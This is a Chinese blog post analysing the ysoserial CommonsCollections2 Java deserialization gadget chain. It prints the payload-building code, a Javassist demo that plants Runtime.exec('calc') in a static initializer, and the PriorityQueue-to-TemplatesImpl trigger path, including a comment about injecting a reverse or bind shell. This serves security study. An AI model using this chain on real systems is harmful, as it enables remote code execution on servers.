yso-cc2
1从入口看
1)

2)
3)createTemplatesImpl方法,与jdk7u21的利用类相同
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
4)首先获取 StubTransletPayload 类
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}
@Override
public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
5)Javassist获取生成class文件,设置父类AbstractTranslet,修改类本身也继承此类此处可不写。
clazz.makeClassInitializer().insertAfter(cmd); 将payload 放入静态代码模块中
clazz.setName("ysoserial.Pwner" + System.nanoTime());设置类名
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);类继承AbstractTranslet,
将类输出看下
ClassPool pool1 = ClassPool.getDefault();
pool1.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool1.insertClassPath(new ClassClassPath(AbstractTranslet.class));
final CtClass clazz = pool1.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String command= "calc";
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
clazz.setName("javassistdemo" + System.nanoTime());
CtClass superC = pool1.get(AbstractTranslet.class.getName());
//StubTransletPayload类本身也是继承于AbstractTranslet
//clazz.setSuperclass(superC);
clazz.writeFile();
clazz.detach();
结果如下
public class javassistdemo2345088706633400 extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public javassistdemo2345088706633400() {
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
static {
Object var1 = null;
Runtime.getRuntime().exec("calc");
}
}
6)将payload类字节码 赋值给TemplatesImpl的 _bytecodes,另外给_name和_tfactory赋值,(_tfactory为TransformerFactoryImpl类实例)
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
7)返回TemplatesImpl类,之后 创建PriorityQueue类(优先级队列),将transformer对象赋值给TransformingComparator的transformer参数。
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
-----------------------------------------------------------------------
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
8)反射修改InvokerTransformer的iMethodName
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
9)取出上后面的PriorityQueue的queue属性并赋值,templates为恶意的类。
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
10)返回PriorityQueue类,所以入口就是PriorityQueue的readobject
关键函数heapify().
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
11)heapify()
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
// comparator 为 第七步TransformingComparator
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
进入比较函数compare
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
TransformingComparator的compare 如下
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
this.transformer.transformc()触发。
12)
this.iMethodName在第八步赋值为newTransformer

13)第九步将queueArray 的值赋值为恶意的templates和1,在此处进行比较,调用templates的newTransformer方法。此处_tfactory的值其实并不重要一样可以进入getTransletInstance函数
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
14)getTransletInstance方法
有name值的判断,所以前面赋值不为空,_class 为空调用defineTransletClasses方法
defineTransletClasses方法对_bytecodes里的字节进行load,触发静态模块代码,paylaod执行。
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
...
-----------------------------------------
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

该博客详细解析了一个Java反序列化漏洞的利用过程,包括如何构造恶意的TemplatesImpl类,通过插入 payload 类的字节码并在静态初始化块中执行命令。整个流程涉及Javassist库动态生成类、类继承、优先级队列等,最终通过TransformerFactory的newTransformer方法触发payload执行。
1495

被折叠的 条评论
为什么被折叠?



